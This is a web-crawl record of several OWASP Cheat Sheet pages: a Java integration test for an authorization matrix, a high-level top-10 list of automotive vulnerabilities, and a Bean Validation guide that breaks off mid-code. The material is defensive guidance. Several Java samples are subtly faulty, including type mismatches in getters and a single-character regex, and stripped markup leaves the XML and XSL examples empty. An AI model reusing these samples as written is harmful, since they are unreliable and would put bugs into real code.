Sheet](Authorization_Cheat_Sheet.html)\n- [Authorization Testing Automation Cheat Sheet](Authorization_Testing_Automation_Cheat_Sheet.html)\n- [Insecure Direct Object Reference Prevention Cheat Sheet](Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html)\n- [Multi-Tenant Security Cheat Sheet](Multi_Tenant_Security_Cheat_Sheet.html)\n- [CI/CD Security Cheat Sheet](CI_CD_Security_Cheat_Sheet.html)\n\n### Standards and Specifications¶\n\n- [OpenAPI Specification 3.1.0 — Security Scheme Object](https://spec.openapis.org/oas/v3.1.0#security-scheme-object)\n- [OAuth 2.0 Authorization Framework (RFC 6749)](https://www.rfc-editor.org/rfc/rfc6749)\n- [OAuth 2.0 Bearer Token Usage (RFC 6750)](https://www.rfc-editor.org/rfc/rfc6750)\n- [HTTP Semantics (RFC 9110) — 401 Unauthorized](https://www.rfc-editor.org/rfc/rfc9110#section-15.5.2)\n- [HTTP Semantics (RFC 9110) — 403 Forbidden](https://www.rfc-editor.org/rfc/rfc9110#section-15.5.4)\n- [CWE-269: Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html)\n\n### Tools¶\n\n- [Schemathesis — Property-based API testing](https://schemathesis.readthedocs.io/en/stable/)\n- [Dredd — HTTP API Testing Framework](https://dredd.org/en/latest/)\n- [pytest — Python test framework](https://docs.pytest.org/)\n- [JUnit 5 — Java test framework](https://junit.org/junit5/)\n- [Jest — JavaScript test framework](https://jestjs.io/)", "znaku_textu": 12543, "slov": 1432, "odkazu": 165, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:17:38", "sha256": "cdb192691db840252efd602933ff407c349cac17f26546329640dc954eaf3475", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://owasp.org/Top10/A01_2021-Broken_Access_Control/", "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/04-Testing_for_Insecure_Direct_Object_References", "https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/05-Authorization_Testing/", "https://www.rfc-editor.org/rfc/rfc9110", "https://cwe.mitre.org/data/definitions/269.html", "https://owasp.org/www-project-proactive-controls/v3/en/c7-enforce-access-controls", "https://spec.openapis.org/oas/v3.1.0", "https://www.rfc-editor.org/rfc/rfc6749", "https://schemathesis.readthedocs.io/en/stable/", "https://owaspsamm.org/model/verification/security-testing/", "https://docs.pytest.org/", "https://jestjs.io/", "https://junit.org/junit5/", "https://dredd.org/en/latest/", "https://www.rfc-editor.org/rfc/rfc6750", "https://docs.github.com/en/actions", "https://raw.githubusercontent.com/OWASP/ASVS/v4.0.3/4.0/OWASP%20Application%20Security%20Verification%20Standard%204.0.3-en.pdf", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html", "titulek": "Authorization Testing Automation - OWASP Cheat Sheet Series", "h1": "Authorization Testing Automation Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Testing_Automation_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Authorization Testing Automation Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 2, "text": "Context¶"}, {"uroven": 2, "text": "Objective¶"}, {"uroven": 2, "text": "Proposition¶"}, {"uroven": 3, "text": "Preparing to automate the authorization matrix¶"}, {"uroven": 3, "text": "Create the authorization matrix pivot file¶"}, {"uroven": 3, "text": "Implementing an integration test¶"}, {"uroven": 2, "text": "Rendering the authorization matrix for an audit / review¶"}, {"uroven": 2, "text": "Sources of the prototype¶"}], "markdown": "# Authorization Testing Automation Cheat Sheet¶\n\n## Introduction¶\n\n**When you are implementing protection measures for an application, one of the most important parts of the process is defining and implementing the application's authorizations.** Despite all of the checks and security audits conducted during the creation phase, most of the problems with authorizations occur because features are added/modified in updated releases without determining their effect on the application's authorizations (usually because of cost or time issue reasons).\n\nTo deal with this problem, we recommend that developers automate the evaluation of the authorizations and perform a test when a new release is created. This ensures that the team knows if changes to the application will conflict with an authorization's definition and/or implementation.\n\n## Context¶\n\nAn authorization usually contains two elements (also named dimensions): The **Feature** and the **Logical Role** that accesses it. Sometimes a third dimension named **Data** is added in order to define access that includes a filtering at business data level.\n\nGenerally, the two dimensions of each authorization should be listed in a spreadsheet that is called an **authorization matrix**. When authorizations are tested, the logical roles are sometimes called a **Point Of View**.\n\n## Objective¶\n\nThis cheat sheet is designed to help you generate your own approaches to automating authorization tests in an authorization matrix. Since developers will need to design their own approach to automating authorization tests, **this cheat sheet will show a possible approach to automating authorization tests for one possible implementation of an application that exposes REST Services.**\n\n## Proposition¶\n\n### Preparing to automate the authorization matrix¶\n\nBefore we start to automate a test of the authorization matrix, we will need to do the following:\n\n1. **Formalize the authorization matrix in a pivot format file, which will allow you to:**\n 1. Easily process the matrix by a program.\n 2. Allow a human to read and update when you need to follow up on the authorization combinations.\n 3. Set up a hierarchy of the authorizations, which will allow you to easily create different combinations.\n 4. Create the maximum possible of independence from the technology and design used to implement the applications.\n2. **Create a set of integration tests that fully use the authorization matrix pivot file as an input source, which will allow you to evaluate the different combinations with the following advantages:**\n 1. The minimum possible of maintenance when the authorization matrix pivot file is updated.\n 2. A clear indication, in case of failed test, of the source authorization combination that does not respect the authorization matrix.\n\n### Create the authorization matrix pivot file¶\n\n**In this example, we use an XML format to formalize the authorization matrix.**\n\nThis XML structure has three main sections (or nodes):\n\n- Node **roles** : Describes the possible logical roles used in the system, provides a list of the roles, and explains the different roles (authorization level).\n- Node **services** : Provides a list of the available services exposed by the system, provides a description of those services, and defines the associated logical role(s) that can call them.\n- Node **services-testing** : Provides a test payload for each service if the service uses input data other than the one coming from URL or path.\n\n**This sample demonstrates how an authorization could be defined with XML**:\n\n> Placeholders (values between {}) are used to mark location where test value must be placed by the integration tests if needed\n\n```\n {\"content\":\"test\"}\n \n```\n\n### Implementing an integration test¶\n\n**To create an integration test, you should use a maximum of factorized code and one test case by Point Of View (POV) so the verifications can be profiled by access level (logical role). This will facilitate the rendering/identification of the errors.**\n\nIn this integration test, we have implemented parsing, object mapping and access to the authorization matrix by marshalling XML into a Java object and unmarshalling the object back into XML These features are used to implement the tests (JAXB here) and limit the code to the developer in charge of performing the tests.\n\n**Here is a sample implementation of an integration test case class:**\n\n```\n import org.owasp.pocauthztesting.enumeration.SecurityRole; import org.owasp.pocauthztesting.service.AuthService; import org.owasp.pocauthztesting.vo.AuthorizationMatrix; import org.apache.http.client.methods.CloseableHttpResponse; import org.apache.http.client.methods.HttpDelete; import org.apache.http.client.methods.HttpGet; import org.apache.http.client.methods.HttpPut; import org.apache.http.client.methods.HttpRequestBase; import org.apache.http.entity.StringEntity; import org.apache.http.impl.client.CloseableHttpClient; import org.apache.http.impl.client.HttpClients; import org.junit.Assert; import org.junit.BeforeClass; import org.junit.Test; import org.xml.sax.InputSource; import javax.xml.bind.JAXBContext; import javax.xml.parsers.SAXParserFactory; import javax.xml.transform.Source; import javax.xml.transform.sax.SAXSource; import java.io.File; import java.io.FileInputStream; import java.util.ArrayList; import java.util.List; import java.util.Optional; /** * Integration test cases validate the correct implementation of the authorization matrix. * They create a test case by logical role that will test access on all services exposed by the system. * This implementation focuses on readability */ public class AuthorizationMatrixIT { /** * Object representation of the authorization matrix */ private static AuthorizationMatrix AUTHZ_MATRIX; private static final String BASE_URL = \"http://localhost:8080\"; /** * Load the authorization matrix in objects tree * * @throws Exception If any error occurs */ @BeforeClass public static void globalInit() throws Exception { try (FileInputStream fis = new FileInputStream(new File(\"authorization-matrix.xml\"))) { SAXParserFactory spf = SAXParserFactory.newInstance(); spf.setFeature(\"http://xml.org/sax/features/external-general-entities\", false); spf.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false); spf.setFeature(\"http://apache.org/xml/features/nonvalidating/load-external-dtd\", false); Source xmlSource = new SAXSource(spf.newSAXParser().getXMLReader(), new InputSource(fis)); JAXBContext jc = JAXBContext.newInstance(AuthorizationMatrix.class); AUTHZ_MATRIX = (AuthorizationMatrix) jc.createUnmarshaller().unmarshal(xmlSource); } } /** * Test access to the services from a anonymous user. * * @throws Exception */ @Test public void testAccessUsingAnonymousUserPointOfView() throws Exception { //Run the tests - No access token here List errors = executeTestWithPointOfView(SecurityRole.ANONYMOUS, null); //Verify the test results Assert.assertEquals(\"Access issues detected using the ANONYMOUS USER point of view:\\n\" + formatErrorsList(errors), 0, errors.size()); } /** * Test access to the services from a basic user. * * @throws Exception */ @Test public void testAccessUsingBasicUserPointOfView() throws Exception { //Get access token representing the authorization for the associated point of view String accessToken = generateTestCaseAccessToken(\"basic\", SecurityRole.BASIC); //Run the tests List errors = executeTestWithPointOfView(SecurityRole.BASIC, accessToken); //Verify the test results Assert.assertEquals(\"Access issues detected using the BASIC USER point of view:\\n \" + formatErrorsList(errors), 0, errors.size()); } /** * Test access to the services from a user with administrator access. * * @throws Exception */ @Test public void testAccessUsingAdministratorUserPointOfView() throws Exception { //Get access token representing the authorization for the associated point of view String accessToken = generateTestCaseAccessToken(\"admin\", SecurityRole.ADMIN); //Run the tests List errors = executeTestWithPointOfView(SecurityRole.ADMIN, accessToken); //Verify the test results Assert.assertEquals(\"Access issues detected using the ADMIN USER point of view:\\n\" + formatErrorsList(errors), 0, errors.size()); } /** * Evaluate the access to all service using the specified point of view (POV). * * @param pointOfView Point of view to use * @param accessToken Access token that is linked to the point of view in terms of authorization. * @return List of errors detected * @throws Exception If any error occurs */ private List executeTestWithPointOfView(SecurityRole pointOfView, String accessToken) throws Exception { List errors = new ArrayList<>(); String errorMessageTplForUnexpectedReturnCode = \"The service '%s' when called with POV '%s' return a response code %s that is not the expected one in allowed or denied case.\"; String errorMessageTplForIncorrectReturnCode = \"The service '%s' when called with POV '%s' return a response code %s that is not the expected one (%s expected).\"; String fatalErrorMessageTpl = \"The service '%s' when called with POV %s meet the error: %s\"; //Get the list of services to call List services = AUTHZ_MATRIX.getServices().getService(); //Get the list of services test payload to use List servicesTestPayload = AUTHZ_MATRIX.getServicesTesting().getService(); //Call all services sequentially (no special focus on performance here) services.forEach(service -> { //Get the service test payload for the current service String payload = null; String payloadContentType = null; Optional serviceTesting = servicesTestPayload.stream().filter(srvPld -> srvPld.getName().equals(service.getName())).findFirst(); if (serviceTesting.isPresent()) { payload = serviceTesting.get().getPayload().getValue(); payloadContentType = serviceTesting.get().getPayload().getContentType(); } //Call the service and verify if the response is consistent try { //Call the service int serviceResponseCode = callService(service.getUri(), payload, payloadContentType, service.getHttpMethod(), accessToken); //Check if the role represented by the specified point of view is defined for the current service Optional role = service.getRole().stream().filter(r -> r.getName().equals(pointOfView.name())).findFirst(); boolean accessIsGrantedInAuthorizationMatrix = role.isPresent(); //Verify behavior consistency according to the response code returned and the authorization configured in the matrix if (serviceResponseCode == service.getHttpResponseCodeForAccessAllowed()) { //Roles is not in the list of role allowed to access to the service so it's an error if (!accessIsGrantedInAuthorizationMatrix) { errors.add(String.format(errorMessageTplForIncorrectReturnCode, service.getName(), pointOfView.name(), serviceResponseCode, service.getHttpResponseCodeForAccessDenied())); } } else if (serviceResponseCode == service.getHttpResponseCodeForAccessDenied()) { //Roles is in the list of role allowed to access to the service so it's an error if (accessIsGrantedInAuthorizationMatrix) { errors.add(String.format(errorMessageTplForIncorrectReturnCode, service.getName(), pointOfView.name(), serviceResponseCode, service.getHttpResponseCodeForAccessAllowed())); } } else { errors.add(String.format(errorMessageTplForUnexpectedReturnCode, service.getName(), pointOfView.name(), serviceResponseCode)); } } catch (Exception e) { errors.add(String.format(fatalErrorMessageTpl, service.getName(), pointOfView.name(), e.getMessage())); } }); return errors; } /** * Call a service with a specific payload and return the HTTP response code that was received. * This step was delegated in order to made the test cases more easy to maintain. * * @param uri URI of the target service * @param payloadContentType Content type of the payload to send * @param payload Payload to send * @param httpMethod HTTP method to use * @param accessToken Access token to specify to represent the identity of the caller * @return The HTTP response code received * @throws Exception If any error occurs */ private int callService(String uri, String payload, String payloadContentType, String httpMethod, String accessToken) throws Exception { int rc; //Build the request - Use Apache HTTP Client in order to be more flexible in the combination. HttpRequestBase request; String url = (BASE_URL + uri).replaceAll(\"\\\\{messageId\\\\}\", \"1\"); switch (httpMethod) { case \"GET\": request = new HttpGet(url); break; case \"DELETE\": request = new HttpDelete(url); break; case \"PUT\": request = new HttpPut(url); if (payload != null) { request.setHeader(\"Content-Type\", payloadContentType); ((HttpPut) request).setEntity(new StringEntity(payload.trim())); } break; default: throw new UnsupportedOperationException(httpMethod + \" not supported !\"); } request.setHeader(\"Authorization\", (accessToken != null) ? accessToken : \"\"); //Send the request and get the HTTP response code. try (CloseableHttpClient httpClient = HttpClients.createDefault()) { try (CloseableHttpResponse httpResponse = httpClient.execute(request)) { //Don't care here about the response content... rc = httpResponse.getStatusLine().getStatusCode(); } } return rc; } /** * Generate a JWT token for the specified user and role. * * @param login User login * @param role Authorization logical role * @return The JWT token * @throws Exception If any error occurs during the creation */ private String generateTestCaseAccessToken(String login, SecurityRole role) throws Exception { return new AuthService().issueAccessToken(login, role); } /** * Format a list of errors to a printable string. * * @param errors Error list * @return Printable string */ private String formatErrorsList(List errors) { StringBuilder buffer = new StringBuilder(); errors.forEach(e -> buffer.append(e).append(\"\\n\")); return buffer.toString(); } } \n```\n\nIf an authorization issue is detected (or issues are detected), the output is the following:\n\n```\ntestAccessUsingAnonymousUserPointOfView(org.owasp.pocauthztesting.AuthorizationMatrixIT) Time elapsed: 1.009 s ### FAILURE java.lang.AssertionError: Access issues detected using the ANONYMOUS USER point of view: The service 'DeleteMessage' when called with POV 'ANONYMOUS' return a response code 200 that is not the expected one (403 expected). The service 'CreateMessage' when called with POV 'ANONYMOUS' return a response code 200 that is not the expected one (403 expected). testAccessUsingBasicUserPointOfView(org.owasp.pocauthztesting.AuthorizationMatrixIT) Time elapsed: 0.05 s ### FAILURE! java.lang.AssertionError: Access issues detected using the BASIC USER point of view: The service 'DeleteMessage' when called with POV 'BASIC' return a response code 200 that is not the expected one (403 expected). \n```\n\n## Rendering the authorization matrix for an audit / review¶\n\nEven if the authorization matrix is stored in a human-readable format (XML), you might want to show an on-the-fly rendered representation of the XML file to spot potential inconsistencies and facilitate the review, audit and discussion about the authorization matrix.\n\nTo achieve this task, you could use the following XSL stylesheet:\n\n```\n Authorization Matrix

Roles

    :\n
    :\n
    :\n

Authorizations

Service URI Method Role
\n```\n\nExample of the rendering:\n\n## Sources of the prototype¶\n\n[GitHub repository](https://github.com/righettod/poc-authz-testing)", "znaku_textu": 19617, "slov": 2361, "odkazu": 141, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:17:40", "sha256": "5440b5139b4254a280583ddbaa3c350bc0f1ed84cc5dc7d73555146d8eddbee4", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://github.com/righettod/poc-authz-testing", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Automotive_Security_Cheat_Sheet.html", "titulek": "Automotive Security - OWASP Cheat Sheet Series", "h1": "Top 10 Automotive Security Vulnerabilities¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/Automotive_Security_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Top 10 Automotive Security Vulnerabilities¶"}, {"uroven": 2, "text": "1. Weak Vehicle Communication Protocols¶"}, {"uroven": 2, "text": "2. Insecure Over-the-Air (OTA) Updates¶"}, {"uroven": 2, "text": "3. Insecure Telematics Systems¶"}, {"uroven": 2, "text": "4. Software Supply Chain Vulnerabilities¶"}, {"uroven": 2, "text": "5. Physical Access Exploits¶"}, {"uroven": 2, "text": "6. Inadequate Access Control Mechanisms¶"}, {"uroven": 2, "text": "7. Poorly Implemented Authentication Mechanisms¶"}, {"uroven": 2, "text": "8. Data Leakage and Privacy Violations¶"}, {"uroven": 2, "text": "9. Lack of Security in Integrated Systems¶"}, {"uroven": 2, "text": "10. Insecure Legacy Systems¶"}], "markdown": "# Top 10 Automotive Security Vulnerabilities¶\n\nThis document outlines common security vulnerabilities found in automotive security and provides examples of how attackers can exploit these vulnerabilities.\n\n## 1. Weak Vehicle Communication Protocols¶\n\n**Vulnerability**: Many vehicles use communication protocols like CAN (Controller Area Network) without adequate security measures.\n **Example**: An attacker could intercept messages on the CAN bus, leading to unauthorized commands being sent to critical vehicle systems (e.g., brakes, steering).\n **Attack Surface**: In-vehicle networks and any exposed diagnostic ports.\n\n## 2. Insecure Over-the-Air (OTA) Updates¶\n\n**Vulnerability**: OTA updates may lack proper authentication and encryption, allowing attackers to inject malicious firmware.\n **Example**: An attacker could spoof an update server and deliver a malicious update that compromises the vehicle's control systems.\n **Attack Surface**: Wireless communication channels, including cellular and Wi-Fi.\n\n## 3. Insecure Telematics Systems¶\n\n**Vulnerability**: Telematics units that connect vehicles to cloud services may have insufficient security controls.\n **Example**: An attacker exploiting weak API security could access sensitive vehicle data or manipulate vehicle settings remotely.\n **Attack Surface**: Cloud interfaces, telematics gateways, and mobile applications.\n\n## 4. Software Supply Chain Vulnerabilities¶\n\n**Vulnerability**: Third-party software components may have known vulnerabilities that can be exploited.\n **Example**: If a vehicle’s infotainment system relies on a vulnerable third-party library, an attacker could exploit that vulnerability to execute arbitrary code.\n **Attack Surface**: Infotainment systems, vehicle software updates, and any integrated third-party applications.\n\n## 5. Physical Access Exploits¶\n\n**Vulnerability**: Physical access to the vehicle can allow attackers to manipulate systems directly.\n **Example**: An attacker with physical access could connect a malicious device to the OBD-II port to alter vehicle settings or firmware.\n **Attack Surface**: Diagnostic ports, service stations, and unsecured vehicle access.\n\n## 6. Inadequate Access Control Mechanisms¶\n\n**Vulnerability**: Weak or poorly implemented access control measures can allow unauthorized access to vehicle systems.\n **Example**: A driver might gain unauthorized access to administrative functions through a poorly secured mobile app.\n **Attack Surface**: Mobile applications, vehicle interfaces, and internal network connections.\n\n## 7. Poorly Implemented Authentication Mechanisms¶\n\n**Vulnerability**: Many automotive systems use weak authentication methods, making it easier for attackers to gain unauthorized access.\n **Example**: If a vehicle’s mobile app uses easily guessable passwords, an attacker could log in and change vehicle settings or track location.\n **Attack Surface**: Mobile applications, web interfaces, and vehicle systems that allow remote access.\n\n## 8. Data Leakage and Privacy Violations¶\n\n**Vulnerability**: Vehicles often collect extensive data, which can be inadequately protected.\n **Example**: An unsecured data transmission channel could expose sensitive user data, such as location history and personal preferences, to eavesdroppers.\n **Attack Surface**: Data transmission channels, cloud storage, and interfaces with third-party services.\n\n## 9. Lack of Security in Integrated Systems¶\n\n**Vulnerability**: The integration of various systems (e.g., infotainment, navigation) can create vulnerabilities if not properly secured.\n **Example**: An attacker could exploit a vulnerability in the infotainment system to gain access to the vehicle’s control systems through interconnected components.\n **Attack Surface**: Interconnected vehicle systems, APIs, and communication channels between systems.\n\n## 10. Insecure Legacy Systems¶\n\n**Vulnerability**: Many vehicles still use legacy systems with outdated security protocols.\n **Example**: An attacker could exploit known vulnerabilities in older vehicle models that have not been patched, gaining control over critical systems.\n **Attack Surface**: Older vehicle models, diagnostic tools, and maintenance interfaces.", "znaku_textu": 4098, "slov": 561, "odkazu": 141, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 01:17:40", "sha256": "a214435aa087ebb6c9713ffee7e568ff61d0a3f8f9f5a756739f776241757191", "hloubka": 1, "zdroj_objevu": "sitemap", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/CheatSheetSeries", "https://creativecommons.org/licenses/by-sa/4.0/", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://cheatsheetseries.owasp.org/cheatsheets/Bean_Validation_Cheat_Sheet.html", "titulek": "Bean Validation - OWASP Cheat Sheet Series", "h1": "Bean Validation Cheat Sheet¶", "popis": "Website with the collection of all the cheat sheets of the project.", "klicova_slova": "", "kanonicka": "https://cheatsheetseries.owasp.org/cheatsheets/Bean_Validation_Cheat_Sheet.html", "jazyk": "en", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "Bean Validation Cheat Sheet¶"}, {"uroven": 2, "text": "Introduction¶"}, {"uroven": 3, "text": "Typical Validation¶"}, {"uroven": 3, "text": "Bean Validation¶"}, {"uroven": 2, "text": "Setup¶"}, {"uroven": 2, "text": "Basics¶"}, {"uroven": 2, "text": "Predefined Constraints¶"}, {"uroven": 3, "text": "@Pattern¶"}, {"uroven": 3, "text": "@Digits¶"}, {"uroven": 3, "text": "@Size¶"}, {"uroven": 3, "text": "@Past / @Future¶"}, {"uroven": 3, "text": "Combining Constraints¶"}, {"uroven": 3, "text": "Cascading Constraints¶"}, {"uroven": 3, "text": "Additional Constraints¶"}, {"uroven": 2, "text": "Custom Constraints¶"}, {"uroven": 2, "text": "Error Messages¶"}], "markdown": "# Bean Validation Cheat Sheet¶\n\n## Introduction¶\n\nThis article is focused on providing clear, simple, actionable guidance for providing Java Bean Validation security functionality in your applications.\n\nBean validation (aka [Jakarta Validation](https://beanvalidation.org/)) is one of the most common ways to perform [input validation](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html) in Java. It is an application layer agnostic validation spec which provides the developer with the means to define a set of validation constraints on a domain model and then perform validation of those constraints through out the various application tiers.\n\nOne advantage of this approach is that the validation constraints and the corresponding validators are only written once, thus reducing duplication of effort and ensuring uniformity:\n\n### Typical Validation¶\n\n### Bean Validation¶\n\n## Setup¶\n\nThe examples in this guide use Hibernate Validator.\n\nAdd Hibernate Validator to your **pom.xml**:\n\n```\n org.hibernate hibernate-validator USE_LATEST_VERSION \n```\n\nEnable bean validation support in Spring's **context.xml**:\n\n```\n ...\n \n```\n\nFor more info, please see the [setup guide](https://hibernate.org/validator/documentation/getting-started/)\n\n## Basics¶\n\nIn order to get started using Bean Validation, you must add validation constraints (`@Pattern`, `@Digits`, `@Min`, `@Max`, `@Size`, `@Past`, `@Future`, `@CreditCardNumber`, `@Email`, `@URL`, etc.) to your model and then utilize the `@Valid` annotation when passing your model around in various application layers.\n\nConstraints can be applied in several places:\n\n- Fields\n- Properties\n- Classes\n\nFor Bean Validation 1.1 also on:\n\n- Parameters\n- Return values\n- Constructors\n\nFor the sake of simplicity all the examples below feature field constraints and all validation is triggered by the controller. Refer to the Bean Validation documentation for a full list of examples.\n\nWhen it comes to error handling, the Hibernate Validator returns a `BindingResult` object which contains a `List`. The examples below feature simplistic error handling, while a production ready application would have a more elaborate design that takes care of logging and error page redirection.\n\n## Predefined Constraints¶\n\n### @Pattern¶\n\n**Annotation**:\n\n`@Pattern(regex=,flag=)`\n\n**Data Type**:\n\n`CharSequence`\n\n**Use**:\n\nChecks if the annotated string matches the regular expression regex considering the given flag match. Please visit [OWASP Validation Regex Repository](https://owasp.org/www-community/OWASP_Validation_Regex_Repository) for other useful regex's.\n\n**Reference**:\n\n[Documentation](https://docs.jboss.org/hibernate/validator/5.2/reference/en-US/html/ch02.html#section-builtin-constraints)\n\n**Model**:\n\n```\nimport org.hibernate.validator.constraints.Pattern; public class Article { //Constraint: Alpha Numeric article titles only using a regular expression @Pattern(regexp = \"[a-zA-Z0-9 ]\") private String articleTitle; public String getArticleTitle() { return articleTitle; } public void setArticleTitle(String articleTitle) { this.articleTitle = articleTitle; } ... } \n```\n\n**Controller**:\n\n```\nimport javax.validation.Valid; import com.company.app.model.Article; @Controller public class ArticleController { ... @RequestMapping(value = \"/postArticle\", method = RequestMethod.POST) public @ResponseBody String postArticle(@Valid Article article, BindingResult result, HttpServletResponse response) { if (result.hasErrors()) { String errorMessage = \"\"; response.setStatus(HttpServletResponse.SC_BAD_REQUEST); List errors = result.getAllErrors(); for(ObjectError e : errors) { errorMessage += \"ERROR: \" + e.getDefaultMessage(); } return errorMessage; } else { return \"Validation Successful\"; } } } \n```\n\n### @Digits¶\n\n**Annotation**:\n\n`@Digits(integer=,fraction=)`\n\n**Data Type**:\n\n`BigDecimal`, `BigInteger`, `CharSequence`, `byte`, `short`, `int`, `long` and the respective wrappers of the primitive types; Additionally supported by HV: any sub-type of Number\n\n**Use**:\n\nChecks whether the annotated value is a number having up to integer digits and fraction fractional digits\n\n**Reference**:\n\n[Documentation](https://docs.jboss.org/hibernate/validator/5.2/reference/en-US/html/ch02.html#section-builtin-constraints)\n\n**Model**:\n\n```\nimport org.hibernate.validator.constraints.Digits; public class Customer { //Constraint: Age can only be 3 digits long or less @Digits(integer = 3, fraction = 0) private int age; public String getAge()  { return age; } public void setAge(String age)  { this.age = age; } ... } \n```\n\n**Controller**:\n\n```\nimport javax.validation.Valid; import com.company.app.model.Customer; @Controller public class CustomerController { ... @RequestMapping(value = \"/registerCustomer\", method = RequestMethod.POST) public @ResponseBody String registerCustomer(@Valid Customer customer, BindingResult result, HttpServletResponse response) { if (result.hasErrors()) { String errorMessage = \"\"; response.setStatus(HttpServletResponse.SC_BAD_REQUEST); List errors = result.getAllErrors(); for( ObjectError e : errors) { errorMessage += \"ERROR: \" + e.getDefaultMessage(); } return errorMessage; } else { return \"Validation Successful\"; } } } \n```\n\n### @Size¶\n\n**Annotation**:\n\n`@Size(min=,` `max=)`\n\n**Data Type**:\n\n`CharSequence`, `Collection`, `Map` and `Arrays`\n\n**Use**:\n\nChecks if the annotated element's size is between min and max (inclusive)\n\n**Reference**:\n\n[Documentation](https://docs.jboss.org/hibernate/validator/5.2/reference/en-US/html/ch02.html#section-builtin-constraints)\n\n**Model**:\n\n```\nimport org.hibernate.validator.constraints.Size; public class Message { //Constraint: Message must be at least 10 characters long, but less than 500 @Size(min = 10, max = 500) private String message; public String getMessage() { return message; } public void setMessage(String message) { this.message = message; } ... } \n```\n\n**Controller**:\n\n```\nimport javax.validation.Valid; import com.company.app.model.Message; @Controller public class MessageController { ... @RequestMapping(value=\"/sendMessage\", method=RequestMethod.POST) public @ResponseBody String sendMessage(@Valid Message message, BindingResult result, HttpServletResponse response){ if(result.hasErrors()){ String errorMessage = \"\"; response.setStatus(HttpServletResponse.SC_BAD_REQUEST); List errors = result.getAllErrors(); for( ObjectError e : errors){ errorMessage+= \"ERROR: \" + e.getDefaultMessage(); } return errorMessage; } else{ return \"Validation Successful\"; } } } \n```\n\n### @Past / @Future¶\n\n**Annotation**:\n\n`@Past,` `@Future`\n\n**Data Type**:\n\n`java.util.Date`, `java.util.Calendar`, `java.time.chrono.ChronoZonedDateTime`, `java.time.Instant`, `java.time.OffsetDateTime`\n\n**Use**:\n\nChecks whether the annotated date is in the past / future\n\n**Reference**:\n\n[Documentation](https://docs.jboss.org/hibernate/validator/5.2/reference/en-US/html/ch02.html#section-builtin-constraints)\n\n**Model**:\n\n```\nimport org.hibernate.validator.constraints.Past; import org.hibernate.validator.constraints.Future; public class DoctorVisit { //Constraint: Birthdate must be in the past @Past private Date birthDate; public Date getBirthDate() { return birthDate; } public void setBirthDate(Date birthDate) { this.birthDate = birthDate; } //Constraint: Schedule visit date must be in the future @Future private String scheduledVisitDate; public String getScheduledVisitDate() { return scheduledVisitDate; } public void setScheduledVisitDate(String scheduledVisitDate) { this.scheduledVisitDate = scheduledVisitDate; } ... } \n```\n\n**Controller**:\n\n```\nimport javax.validation.Valid; import com.company.app.model.DoctorVisit; @Controller public class DoctorVisitController { ... @RequestMapping(value=\"/scheduleVisit\", method=RequestMethod.POST) public @ResponseBody String scheduleVisit(@Valid DoctorVisit doctorvisit, BindingResult result, HttpServletResponse response){ if(result.hasErrors()){ String errorMessage = \"\"; response.setStatus(HttpServletResponse.SC_BAD_REQUEST); List errors = result.getAllErrors(); for( ObjectError e : errors){ errorMessage+= \"ERROR: \" + e.getDefaultMessage(); } return errorMessage; } else{ return \"Validation Successful\"; } } } \n```\n\n### Combining Constraints¶\n\nValidation annotations can be combined in any suitable way. For instance, to specify a valid reviewRating value between 1 and 5, specify the validation like this :\n\n**Annotation**:\n\n`@Min(value=),` `@Max(value=)`\n\n**Data Type**:\n\n`BigDecimal`, `BigInteger`, `byte`, `short`, `int`, `long` and the respective wrappers of the primitive types; Additionally supported by HV: any sub-type of `CharSequence` (the numeric value represented by the character sequence is evaluated), any sub-type of Number\n\n**Use**:\n\nChecks whether the annotated value is higher/lower than or equal to the specified minimum\n\n**Reference:**\n\n[Documentation](https://docs.jboss.org/hibernate/validator/9.0/reference/en-US/html_single/#section-builtin-constraints)\n\n**Model**:\n\n```\nimport org.hibernate.validator.constraints.Min; import org.hibernate.validator.constraints.Max; public class Review {  //Constraint: Review rating must be between 1 and 5  @Min(1)  @Max(5)  private int reviewRating;  public int getReviewRating() {   return reviewRating;  }  public void setReviewRating(int reviewRating) {   this.reviewRating = reviewRating; }  ... } \n```\n\n**Controller**:\n\n```\nimport javax.validation.Valid; import com.company.app.model.ReviewRating; @Controller public class ReviewController { ... @RequestMapping(value=\"/postReview\", method=RequestMethod.POST) public @ResponseBody String 